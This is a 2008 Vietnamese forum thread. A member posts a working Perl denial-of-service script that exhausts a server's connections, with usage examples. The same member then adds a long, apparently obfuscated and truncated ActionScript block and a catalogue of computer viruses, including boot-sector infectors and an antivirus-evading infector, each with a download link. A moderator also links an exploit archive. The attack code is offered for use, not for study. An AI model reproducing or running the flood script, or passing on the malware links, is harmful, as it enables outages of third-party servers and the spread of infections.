Xin giúp abc

Thảo luận trong 'Trò Chuyện Tổng Hợp' bắt đầu bởi Red Apple, 13 Tháng sáu 2008.

Trạng thái chủ đề:
Không mở trả lời sau này.
  1. Red Apple Thành viên

    Mã:
    #!/usr/bin/perl
     
     # Simple httpd/misc. DoS  idea. -> Vade79[anhtrainguyenkhuyen@yahoo.com].
     #
     # This is a pretty simple  concept on a way to flood(DoS) httpd and other
     # servcies by holding a  large amount of connections to a socket/service, making
     # the server become busy to  normal users.
     #
     # Every server will probably  be a little different.  You will probably  have to
     # play with each server to  see what the delay is before the server closes idle
     # connections and what the  maximum number of connections the server can hold.
     # A good way to test this is  to notice if you are getting consistant
     # connections, if you are,  that means you need more sockets connecting.   You
     # should start seeing  connection failures close to the maximum of the sockets
     # you set, that means the  servers httpd has become busy.   Example:
     #
     # Bad and  wasteful:
     # # ./file.pl [URL="http://www.site.com/"]www.site.com[/URL]  80 180 150 1
     # ./file.pl:  [URL="http://www.site.com%2880%29/"]www.site.com(80):[/URL] connected 150 of 150 socket(s) successfully, waiting  180s.
     #
     # Good and effective(well,  it's actually wasteful too):
     # # ./file.pl [URL="http://www.site.com/"]www.site.com[/URL]  80 180 300 1 ...
     # ./file.pl:  [URL="http://www.site.com%2880%29/"]www.site.com(80):[/URL] connected 253 of 300 socket(s) successfully, waiting  180s.
     # 
     # This is just a thought  that came occured to me.  It wouldn't be  wise to go
     # around flooding servers,  mainly because it wouldn't be spoofed(*wink*) and
     # it's retarded, but they  vulnerable none the less.
     #
     # Note: some sites are wise  to large number of connections from the same host.
     
     use  Socket;
     sub sout{print "$0:  @_\n";}
     sub  sconnect{
     my ($s,$p)=split(/  /,shift);
     if  ($p<1){$p=80;}
     my  ($ia,$pa,$proto,$j,$l,$t);
     $ia=inet_aton($s);
     $pa=sockaddr_in($p,$ia);
     $proto=getprotobyname('tcp');
     $j=0;$l=0;
     &sout("$s($p):  attempting to connected $i socket(s).");
     while  ($l<$i){
       $t="SOCK$l";
        socket($t,PF_INET,SOCK_STREAM,$proto);
       connect($t,$pa)||$j--;
       $j++;$l++;
     }
     &sout("$s($p): connected  $j of $l socket(s) successfully, waiting $k\s.");
     sleep($k);&sout("$s($p):  done waiting, killing socket(s).");
     $l=0;
     while  ($l<$i){
       $t="SOCK$l";
       shutdown($t,2)||&sout("$s($p): error  shutting down socket. [$l]");
       $l++;
     }
     &sout("completed  round($n), eof.");
     }
     $k=$ARGV[2];if  (!$k){$k=1;}
     $i=$ARGV[3];if  (!$i){$i=1;}
     $m=$ARGV[4];if  (!$m){$m=1;}
     $n=0;
     if  (!$ARGV[1]){
     print "syntax: $0 <server  port> [delay, -1=forever] [number] [repetitions,  -1=forever]\n";
     exit(0);
     }
     &sout("flood info:  number of socket(s)        :  $i.");
     &sout("flood info: delay  between repetition(s): $k.");
     &sout("flood info:  repetition(s)              :  $m.");
     while  ($n<$m||$m==-1){
     &sconnect("@ARGV");
     $n++;
     }
     exit(0);
  2. Red Apple

    Red Apple Thành viên

    Bài viết:
    1,019
    Được Like:
    1,017
    ggggggggggggg

    // Action script...

    // [Action in Frame 1]
    var \x01 = 219;
    for (\x01 = eval("\x01") + 341; eval("\x01") == 560; \x01 = eval("\x01") + 604)
    {
    \x01 = eval("\x01") - 232;
    if (false)
    {
    continue;
    } // end if
    } // end of for
    \x01 = eval("\x01") + 402;
    \x01 = eval("\x01") - 174;
    if (eval("\x01") == 497)
    {
    \x01 = eval("\x01") - 296;


    } // end if
    if (eval("\x01") == 721)
    {
    \x01 = eval("\x01") - 442;


    } // end if
    if (eval("\x01") == 328)
    {
    \x01 = eval("\x01") + 604;


    } // end if
    if (eval("\x01") == 603)
    {
    \x01 = eval("\x01") - 29;
    if (false)
    {
    }
    else
    {
    \x01 = eval("\x01") - 404;
    } // end else if

    } // end if
    \x01 = eval("\x01") - 632;
    if (eval("\x01") == 300)
    {
    \x01 = eval("\x01") + 421;
    if (false)
    {
    }
    else
    {
    \x01 = eval("\x01") - 442;
    } // end else if

    } // end if
    if (eval("\x01") == 170)
    {
    \x01 = eval("\x01") + 542;


    } // end if
    if (eval("\x01") == 782)
    {
    \x01 = eval("\x01") - 285;
    if (false)
    {
    }
    else
    {
    \x01 = eval("\x01") - 296;
    } // end else if

    } // end if
    if (eval("\x01") == 574)
    {
    \x01 = eval("\x01") - 404;


    } // end if
    \x01 = eval("\x01") + 30;
    if (eval("\x01") == 742)
    {
    \x01 = eval("\x01") + 214;


    } // end if
    if (eval("\x01") == 309)
    {
    \x01 = eval("\x01") + 433;
    if (false)
    {
    }
    else
    {
    \x01 = eval("\x01") + 214;
    } // end else if

    } // end if
    if (eval("\x01") == 712)
    {
    \x01 = eval("\x01") + 209;

    } // end if
    if (eval("\x01") == 921)
    {
    \x01 = eval("\x01") - 824;
    }
    else
    {

    } // end else if

    var \x01 = 377;
    while (\x01 = eval("\x01") + 478, \x01 = eval("\x01") - 542, \x01 = eval("\x01") - 279, eval("\x01") == 179)
    {
    \x01 = eval("\x01") + 492;
    break;
    } // end while
    if (eval("\x01") == 655)
    {
    \x01 = eval("\x01") - 476;
    if (false)
    {
    }
    else
    {
    \x01 = eval("\x01") + 492;
    } // end else if

    } // end if
    if (eval("\x01") == 177)
    {
    \x01 = eval("\x01") + 156;


    } // end if
    \x01 = eval("\x01") + 322;
    if (eval("\x01") == 616)
    {
    \x01 = eval("\x01") - 439;
    if (false)
    {
    }
    else
    {
    \x01 = eval("\x01") + 156;
    } // end else if

    } // end if
    if (eval("\x01") == 234)
    {
    \x01 = eval("\x01") + 256;


    } // end if
    if (eval("\x01") == 858)
    {
    \x01 = eval("\x01") - 442;


    } // end if
    \x01 = eval("\x01") + 126;
    if (eval("\x01") == 120)
    {
    \x01 = eval("\x01") - 69;

    } // end if
    if (eval("\x01") == 855)
    {
    \x01 = eval("\x01") - 476;
    if (false)
    {
    }
    else
    {
    \x01 = eval("\x01") + 465;
    } // end else if

    } // end if
    if (eval("\x01") == 951)
    {
    \x01 = eval("\x01") - 278;


    } // end if
    if (eval("\x01") == 379)
    {
    \x01 = eval("\x01") + 465;


    } // end if
    if (eval("\x01") == 875)
    {
    \x01 = eval("\x01") - 17;
    if (false)
    {
    }
    else
    {
    \x01 = eval("\x01") - 442;
    } // end else if

    } // end if
    if (eval("\x01") == 129)
    {
    \x01 = eval("\x01") + 822;
    if (false)
    {
    }
    else
    {
    \x01 = eval("\x01") - 278;
    } // end else if

    } // end if
    \x01 = eval("\x01") - 403;
    if (eval("\x01") == 416)
    {
    \x01 = eval("\x01") - 296;


    } // end if
    if (eval("\x01") == 565)
    {
    \x01 = eval("\x01") - 331;
    if (false)
    {
    }
    else
    {
    \x01 = eval("\x01") + 256;
    } // end else if

    } // end if
    \x01 = eval("\x01") + 471;
    if (eval("\x01") == 270)
    {
    \x01 = eval("\x01") - 161;
    if (false)
    {
    }
    else
    {
    \x01 = eval("\x01") + 295;
    } // end else if

    } // end if
    if (eval("\x01") == 109)
    {
    \x01 = eval("\x01") + 295;


    } // end if
    if (eval("\x01") == 51)
    {
    \x01 = eval("\x01") + 124;
    }
    else
    {

    } // end else if

    // [Action in Frame 2]
    var \x01 = 303;
    for (\x01 = eval("\x01") - 27; eval("\x01") == 406; \x01 = eval("\x01") + 61)
    {
    \x01 = eval("\x01") + 502;
    if (false)
    {
    continue;
    } // end if
    } // end of for
    if (eval("\x01") == 821)
    {
    \x01 = eval("\x01") - 544;
    if (!null)
    {
    }
    else
    {
    \x01 = eval("\x01") + 721;
    } // end else if

    } // end if
    if (eval("\x01") == 276)
    {
    \x01 = eval("\x01") + 228;
    if (!null)
    {
    }
    else
    {
    \x01 = eval("\x01") - 372;
    } // end else if

    } // end if
    if (eval("\x01") == 969)
    {
    \x01 = eval("\x01") - 672;


    } // end if
    if (eval("\x01") == 504)
    {
    \x01 = eval("\x01") - 372;


    } // end if
    \x01 = eval("\x01") + 223;
    \x01 = eval("\x01") - 26;
    \x01 = eval("\x01") - 17;
    \x01 = eval("\x01") + 223;
    if (eval("\x01") == 355)
    {
    \x01 = eval("\x01") + 31;
    if (false)
    {
    }
    else
    {
    \x01 = eval("\x01") + 479;
    } // end else if

    } // end if
    if (eval("\x01") == 908)
    {
    \x01 = eval("\x01") + 61;


    } // end if
    if (eval("\x01") == 839)
  3. Vi Nam

    Vi Nam Thành viên

    Bài viết:
    8
    Được Like:
    12
    Tóm lại là bạn muốn nói cái gì?
  4. Ngọc Uyên

    Ngọc Uyên Thành viên

    Bài viết:
    402
    Được Like:
    730
    Ai dùng Netcat kiểu này bao giờ. Pó giò!!!
    (Có người mún DDOS forum hử :D)
  5. Red Apple

    Red Apple Thành viên

    Bài viết:
    1,019
    Được Like:
    1,017
    Monad.Candela-family
    - Very first Monad viruses
    - Infects Command Shell Files for Mcft Windows Vista (Codename: Longhorn)
    - Overwriter
    - Prepender
    - Appender
    - EPO-infector
    - Cross-Infector
    *http://spth.host.sk/monad.zip


    SPTH-OS 2.0
    - Very first Bootsectorvirus for CD-ROMs
    - Works on CD-ROMs and diskettes
    - Own FAT32 system support (no INT hooking)
    - FAT12 .IMG files infection
    - ISO-9660 El Torito .ISO file infection
    - Infects all files in Root_Directory of 1st Partition on HD
    - Size: 3 Sector
    *http://spth.host.sk/spthos2.0.zip


    SPTH-OS 1.0
    - Bootsectorvirus
    - Own FAT12 system support (no INT hooking)
    - Bootsectorinfection of FAT12 .IMG files
    - Infects all files in Root_Directory of current Disk
    - Size: 1 Sector
    *http://spth.host.sk/spthos1.0.zip


    Ruby.Paradoxon
    - World's very first Ruby virus
    - Prepender
    - 655 bytes
    *http://spth.host.sk/Ruby.Paradoxon.zip


    Menuet/COM.Tristesse
    - Multi-platform infector
    - Menuet (32bit) -> Menuet (32bit - prepending)
    - Menuet (32bit) -> COM (16bit - appending)
    - COM (16bit) -> COM (16bit - appending)
    - COM (16bit) -> Menuet (32bit - prepending)
    - Fully 16/32bit assembler written
    - KAV warning avoiding via by-hand DOS function encryption
    *http://spth.host.sk/Menuet.Tristesse.zip

  6. conan2901

    conan2901 Gác Cổng Chợ Staff Member

    Bài viết:
    10,720
    Được Like:
    14,843
    làm gì vậy ku ???
    tính phá chỗ trú ngụ của ta ha ? :D
  7. VDG

    VDG Ex-Mod

    Bài viết:
    996
    Được Like:
    1,081
  8. Red Apple

    Red Apple Thành viên

    Bài viết:
    1,019
    Được Like:
    1,017
  9. VDG

    VDG Ex-Mod

    Bài viết:
    996
    Được Like:
    1,081
  10. VDG

    VDG Ex-Mod

    Bài viết:
    996
    Được Like:
    1,081

    Nếu cần những exploit mới thì vào trang này mà down nè: http://milw0rm.com

    Thế nhé, hỗ trợ hết mình rồi đấy :>
Trạng thái chủ đề:
Không mở trả lời sau này.